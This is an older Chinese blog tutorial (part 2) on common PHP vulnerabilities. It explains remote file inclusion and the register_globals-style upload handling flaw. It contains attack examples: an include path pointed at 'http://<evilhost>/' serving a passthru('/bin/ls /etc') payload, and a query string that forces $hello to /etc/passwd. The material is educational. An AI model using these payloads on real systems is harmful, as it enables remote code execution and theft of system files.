龙盟编程博客 | 无障碍搜索 | 云盘搜索神器
快速搜索
主页 > web编程 > php编程 >

PHP编程中的常见漏洞和代码实例(2)

时间:2014-08-08 15:02来源:网络整理 作者:网络 点击:
分享到:
则上面的代码实际上是利用主机target上的unicode漏洞,执行了dir命令。这使得支持远程文件的 include(),require(),include_once()和require_once()在上下文环境中变得

则上面的代码实际上是利用主机target上的unicode漏洞,执行了dir命令。这使得支持远程文件的 include(),require(),include_once()和require_once()在上下文环境中变得更有趣。这些函数主要功能是包含指定文件的内容,并且把它们按照PHP代码解释,主要是用在库文件上。

例如:

复制代码 代码如下:

<?php 
include($libdir . "/languages.php"); 
?> 

上例中"$libdir"一般是一个在执行代码前已经设置好的路径,如果攻击者能够使得"$libdir"没有被设置的话,那么他就可以改变这个路径。但是攻击者并不能做任何事情,因为他们只能在他们指定的路径中访问文件languages.php(perl中的"Poisonnull byte"攻击对PHP没有作用)。但是由于有了对远程文件的支持,攻击者就可以做任何事情。例如,攻击者可以在某台服务器上放一个文件 languages.php,包含如下内容:

复制代码 代码如下:

<?php 
passthru("/bin/ls /etc"); 
?> 

然后把"$libdir"设置为"http://<evilhost>/",这样我们就可以在目标主机上执行上面的攻击代码,"/etc"目录的内容将作为结果返回到客户的浏览器中。

需要注意的是,攻击代码是不会在自身所在的服务器(也就是evilhost)上执行执行自身PHP程序的,否则,攻击代码会攻击自身所在的服务器,而不是在目标服务器执行。

如何通过文件上载进行攻击?

PHP自动支持基于RFC 1867的文件上载,我们看下面的例子:

复制代码 代码如下:

<FORM METHOD="POST" ENCTYPE="multipart/form-data"> 
<INPUT TYPE="FILE" NAME="hello"> 
<INPUT TYPE="HIDDEN" NAME="MAX_FILE_SIZE" VALUE="10240"> 
<INPUT TYPE="SUBMIT"> 
</FORM>

上面的代码让用户从本地机器选择一个文件,当点击提交后,文件就会被上载到服务器。这显然是很有用的功能,但是PHP的响应方式将使这项功能变得不安全。当PHP第一次接到这种请求,甚至在它开始解析被调用的PHP代码之前,它会先接受远程用户的文件,检查文件的长度是否超过"$MAX_FILE_SIZE variable"定义的值,如果通过这些测试的话,文件就会被存在本地的一个临时目录中。
因此,攻击者可以发送任意文件给运行PHP的主机,在PHP程序还没有决定是否接受文件上载时,文件已经被存在服务器上了。

让我们考虑一下处理文件上载的PHP程序,正如我们上面说的,文件被接收并且是存在服务器上(位置是在配置文件中指定的,一般是/tmp),扩展名一般是随机的,类似"phpxXuoXG"的形式。PHP程序需要上载文件的信息以便处理它,这可以通过两种方式,一种方式是在PHP3中已经使用的,另一种是在我们对以前的方法提出安全公告后引入的。

大多数PHP程序还是使用老的方式来处理上载文件。PHP设置了四个全局变量来描述上载文件,比如说上面的例子:

复制代码 代码如下:

$hello = Filename on local machine (e.g "/tmp/phpxXuoXG") 
$hello_size = Size in bytes of file (e.g 1024) 
$hello_name = The original name of the file on the remote system (e.g"c:\\temp\\hello.txt") 
$hello_type = Mime type of uploaded file (e.g "text/plain")   

然后,PHP程序开始处理根据"$hello"指定的文件。问题在于"$hello"不一定是一个PHP设置的变量,任何远程用户都可以指定它。如果我们使用下面的方式:

http://vulnhost/vuln.php?hello=/etc/passwd&hello_size=10240&hello_type=text/plain&hello_name=hello.txt

就导致了下面的PHP全局变量(当然POST方式也可以(甚至是Cookie)):

复制代码 代码如下:

$hello = "/etc/passwd" 
$hello_size = 10240 
$hello_type = "text/plain" 
$hello_name = "hello.txt"

精彩图集

赞助商链接